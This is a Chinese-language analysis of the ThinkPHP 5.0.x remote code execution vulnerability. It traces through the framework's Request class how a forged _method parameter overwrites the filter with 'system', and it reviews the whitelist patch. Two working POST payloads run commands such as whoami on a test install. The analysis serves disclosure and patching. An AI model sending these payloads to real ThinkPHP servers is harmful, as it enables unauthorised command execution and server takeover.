ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

2019年1月11日，ThinkPHP官方发布安全更新，修复了一个GETSHELL漏洞。现分析如下。

漏洞复现

以 thinkphp 5.0.22 完整版为例，下载地址：http://www.thinkphp.cn/down/1260.html

未开启调试模式。

http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha

POST:

_method=__construct&filter[]=system&method=get&get[]=whoami

漏洞分析之POC 1

先整体的看一下这个流程，tp程序从 App.php文件开始，其中截取部分如下：

<?php
/**
* 执行应用程序
* @access public
* @param  Request $request 请求对象
* @return Response
* @throws Exception
*/
public static function run(Request $request = null)
{
    $request = is_null($request) ? Request::instance() : $request;

    try {
        ...
        // 获取应用调度信息
        $dispatch = self::$dispatch;

        // 未设置调度信息则进行 URL 路由检测
        if (empty($dispatch)) {
            $dispatch = self::routeCheck($request, $config);
        }
        ...

        $data = self::exec($dispatch, $config);
    } catch (HttpResponseException $exception) {
        ...
    }
    ...
}

在App.php中，会根据请求的URL调用routeCheck进行调度解析获得到$dispatch，之后将进入exec($dispatch, $config)根据$dispatch类型的不同来进行处理。

在payload中，访问的url为index.php?s=captcha。在vendor/topthink/think-captcha/src/helper.php中captcha注册了路由，

因此其对应的dispatch为method：

一步步跟入，其调用栈如下：

通过调用Request类中的method方法来获取当前的http请求类型，这里顺便贴一下该方法被调用之处：

该函数的实现在 thinkphp/library/think/Request.php:512

<?php
/**
    * 当前的请求类型
    * @access public
    * @param bool $method  true 获取原始请求类型
    * @return string
    */
public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}

在tp的默认中配置中设置了表单请求类型伪装变量如下

因此通过POST一个_method参数，即可进入判断，并执行$this->{$this->method}($_POST)语句。因此通过指定_method即可完成对该类的任意方法的调用，其传入对应的参数即对应的$_POST数组

Request类的构造函数__construct代码如下

<?php
protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }

    // 保存 php://input
    $this->input = file_get_contents('php://input');
}

利用foreach循环，和POST传入数组即可对Request对象的成员属性进行覆盖。其中$this->filter保存着全局过滤规则。经过覆盖，相关变量变为：

$this
    method = "get"
    get = {array} [0]
        0 = dir
    filter =  {array} [0]
        0 = system

注意我们请求的路由是?s=captcha，它对应的注册规则为\think\Route::get。在method方法结束后，返回的$this->method值应为get这样才能不出错，所以payload中有个method=get。在进行完路由检测后，执行self::exec($dispatch, $config)，在thinkphp/library/think/App.php:445，由于$dispatch值为method，将会进入如下分支:

<?php
protected static function exec($dispatch, $config)
{
    switch ($dispatch['type']) {
        ...
        case 'method': // 回调方法
            $vars = array_merge(Request::instance()->param(), $dispatch['var']);
            $data = self::invokeMethod($dispatch['method'], $vars);
            break;
        ...
    }
    return $data;
}

跟入Request::instance()->param()，该方法用于处理请求中的各种参数。

<?php
public function param($name = '', $default = null, $filter = '')
{
    if (empty($this->mergeParam)) {
        $method = $this->method(true);
        ...
    }
    ...
    // 当前请求参数和URL地址中的参数合并
    $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
    $this->mergeParam = true;
    ...
    return $this->input($this->param, $name, $default, $filter);
}

如上方法中$this->param通过array_merge将当前请求参数和URL地址中的参数合并。回忆一下前面已经通过__construct设置了$this->get为dir。此后$this->param其值被设置为：

继续跟入$this->input:

<?php
public function input($data = [], $name = '', $default = null, $filter = '')
{
    ...
    // 解析过滤器
    $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    }
    ...
}

该方法用于对请求中的数据即接收到的参数进行过滤，而过滤器通过$this->getFilter获得：

<?php
protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter;
        if (is_string($filter) && false === strpos($filter, '/')) {
            $filter = explode(',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }

    $filter[] = $default;
    return $filter;
}

前面$this->filter已经被设置为system，所以getFilter返回后$filter值为：

回到input函数，由于$data是前面传入的$this->param即数组，所以接着会调用array_walk_recursive($data, [$this, 'filterValue'], $filter)，对$data中的每一个值调用filterValue函数，最终调用了call_user_func执行代码:

扩展之POC 2

回想前面的调用链，param -> method -> input -> getFilter -> rce。因为filter可控，而tp的逻辑会对输入即input进行filter过滤，所以重点是找到一个合理的input入口。

回到param方法：

<?php
public function param($name = '', $default = null, $filter = '')
{
    if (empty($this->mergeParam)) {
        $method = $this->method(true);
        ...
    }
    ...
}

跟入$this->method(true)注意此时的参数为true，所以此处会进入第一个分支:

<?php
public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    }
    ... 
}

继续跟入$this->server，可以发现这里也有一个input!

<?php
public function server($name = '', $default = null, $filter = '')
{
    if (empty($this->server)) {
        $this->server = $_SERVER;
    }
    if (is_array($name)) {
        return $this->server = array_merge($this->server, $name);
    }
    return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

所以对input方法而言，其$data即$this->server数组，其参数name值为REQUEST_METHOD，在input方法源码如下：

<?php
public function input($data = [], $name = '', $default = null, $filter = '')
{
    ...
    $name = (string) $name;
    if ('' != $name) {
        ...
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                // 无输入数据，返回默认值
                return $default;
            }
        }
       ...
    }
    // 解析过滤器
    $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    } 
    ...
}

因此利用前面的__construct，可以通过传入server[REQUEST_METHOD]=dir，使得在经过foreach循环时置$data值为dir，此后调用getFilter，同样实现RCE:

给出payload：

http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha

POST:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

补丁分析

补丁地址:https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

问题的根源在于请求方法的获取接收了不可信数据，因此补丁中设置了白名单，如下

其他

这里仅仅测试了5.0.22 完整版本。各个版本之间代码有些许差异，payload不一定通用，建议自己调试调试。

源链接

Hacking more

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